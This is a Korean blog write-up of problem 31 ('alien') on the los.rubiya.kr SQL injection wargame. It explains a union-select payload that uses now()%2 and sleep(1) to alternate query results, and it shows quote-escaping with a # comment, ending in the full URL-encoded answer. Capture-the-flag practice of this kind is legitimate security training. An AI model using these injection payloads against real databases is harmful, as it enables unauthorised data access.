[LOS] 31번 문제 풀이(alien)
💡 los.rubiya.kr 31번 문제에 대한 풀이입니다.
31번(alien)
문제
풀이
이번 문제의 클리어 조건을 보면 다음과 같습니다.
- $query를 실행했을 때, ‘admin’ 이어야 한다.
- $query를 실행했을 때, ‘admin’ 이 아니여야 한다.
- $query2를 실행했을 때, ‘admin’이 아니여야 한다.
- $query2를 실행했을 때, ‘admin’ 이어야 한다.
보면 보기 1,2와 3,4가 각각 반대의 조건을 가지고 통과 여부를 확인하고 있습니다.
맨 처음 동일한 쿼리에 대해서, 어쩔때는 ‘admin’이 반환되고, 한번 더 실행했을 때는 ‘admin’이 반환되지 않는 쿼리를 작성해야 합니다.
이 문제를 풀기 위해서 쿼리문에 ‘시간’에 대한 조건이 들어가도록 작성해야 합니다.
이 트릭을 풀기 위해서 now() % 2
와 sleep(1)
를 이용하는 방법이 있습니다. 처음 쿼리문을 실행했을 때는 시간의 초가 짝수 초여서 0이 반환되고, 해당 쿼리문 내에서 sleep(1)
을 해주면 동일한 쿼리문에 대해서 한번 더 연속으로 실행했을 때에는 1초가 지났기 때문에 now() % 2
는 홀수 초가 되고 1이 반환되어서 연속으로 실행했을 때 0,1을 번갈아서 출력하게 됩니다.
이 개념을 이용해서 다음과 같이 작성해 주면 만약 첫번째 $query에서 ‘admin’이 반환되면 한번 더 쿼리를 실행했을때는 ‘admio’가 반환되게 됩니다.
select id from prob_alien where no=1 union select concat("admi",char(110 + sleep(1) + (now()%2=0)))
이렇게 하면 sandbox1, sandbox2번의 조건을 모두 만족하게 풀었습니다. 이번에는 query2를 봐야 하는데 query2에는 현재 싱글 쿼터(‘)가 있기 때문에 입력한 모든 쿼리문이 문자열로써 처리되고 있습니다.
$query2
select id from prob_alien where no='1 union select concat("admi",char(110 + sleep(1) + (now()%2=0)))'
이전 쿼리와 동일한 개념을 사용해서 싱글 쿼터(‘)로 문자열을 탈출한 뒤에 동일한 union select 구문을 복사해 주면 됩니다. 이때 추가적으로 고려해야 할 사항은 기존 query문이 수정되지 않도록 싱글 쿼터로 탈출하기 전에 주석 문자 # 을 입력해야 하고,
클리어 조건을 보면
- $query를 실행했을 때, ‘admin’ 이어야 한다.
- $query를 실행했을 때, ‘admin’ 이 아니여야 한다.
- $query2를 실행했을 때, ‘admin’이 아니여야 한다.
- $query2를 실행했을 때, ‘admin’ 이어야 한다.
2-> 3번으로 갈때 o -> x -> x -> o 이기 때문에 now()%2 = 0 에서 now() %2 =1로 바꿔줘야 합니다.
query2 : select id from prob_alien where no='1 union select concat("admi",char(110 + sleep(1) + (now()%2=0)))#' union select concat("admi",char(110 + sleep(1) + (now()%2=1)))#'
전체 정답 쿼리는 다음과 같습니다.
no=1 union select concat("admi",char(110%2bsleep(1)%2b(now()%2=0)))%23'union select concat("admi",char(110%2bsleep(1)%2b(now()%2=1)))%23
댓글남기기